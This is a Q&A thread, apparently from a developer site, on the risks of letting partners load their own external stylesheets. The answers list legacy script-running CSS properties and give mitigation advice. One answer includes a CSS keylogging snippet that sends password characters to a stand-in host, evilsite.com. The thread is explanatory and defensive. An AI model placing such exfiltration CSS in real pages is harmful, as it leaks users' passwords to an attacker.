加载外部第三方 CSS 是否有任何危险？

Question

My goal is to allow partners to style their landing pages with their own look and feel by passing us a link to their stylesheet in a URL parameter. Are there security or browser compatibility concerns with loading third-party CSS via JavaScript?

Answer 1

In CSS Files.

expressions(code) , behavior:url() , url(javascript:code) , and -moz-binding:url() all have potential security issues.

Behavior can't be cross domain so that removes some threat, but generally speaking you do need to sanitize it somehow.

If you allow the user to link to CSS on external servers, there isn't a fullproof way to validate. The server could check the CSS file on the server to ensure there is nothing malicious, but what if the user changes the stylesheet? You would have to continuously check the stylesheet. Also the server could potential feed different info to the servers ip address in attempt to bypass the validation method.

In all honesty I would advise storing the CSS on your own server. Simple run it throw a regex parser that removes the possible malicious code from above.

Answer 2

As long as you validate it somehow you should be good.

GOLDEN RULE : Do NOT trust the user

Answer 3

If the user is the only person with the ability to see their custom CSS, then there is not really any danger. They could ruin their own experience on your site, but not that of others.

However, if their custom CSS is displayed to other users, then they could potentially use it to completely mess up the styles of your site as you intended. For example, they could simply grab the id of some important elements from your source, and override them to hide them.

Of course, as long as you are careful and properly sanitize all user input, you should not face any major problems.

Answer 4

In the event that the 3rd party is hacked and attackers replace the benign css with evil css, you could be vulnerable to:

• css exfiltration attacks*
• targeted strikes that changes to the page's ui that change the meaning in a dangerous way. For example, adding an extra 1 before the dosage of a medicine, making it a fatal dose instead of a treatment. Or hiding the checkout button, making it harder to buy things on your site.
• objectionable content or random advertisements, spam
• legacy browsers running scripts via expressions(code) , behavior:url() , url(javascript:code) , and -moz-binding:url() . This is likely obsolete, but may still be relevant in rare cases.
• any css attack yet to be developed (trusting 3rd party css opens you up to any and all future css zero-days if the 3rd party is attacked)

The bottom line

Loading 3rd party css is somewhat dangerous as you are increasing your attack surface in the event that the 3rd party is attacked. If possible, store a known, safe version of the 3rd party css on your own server and serve that (basically, convert it to 1st party).

*css exfiltration attack - see https://github.com/maxchehab/CSS-Keylogging . For example, this css will tell the attacker that a user has typed the character "a" in the password field.

input[type="password"][value$="a"] {
  background-image: url("http://evilsite.com/a");
}

references: https://jakearchibald.com/2018/third-party-css-is-not-safe/

see also: https://security.stackexchange.com/questions/37832/css-based-attacks

Answer 5

CSS expressions only work in IE 6-7, but allow inline JS to be used (generally to calculate a value to set).

For example:

/* set bgcolor based on time */
div.title {
    background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}

however, this could potentially be used to do malicious things, i'd say it's at least worth some testing.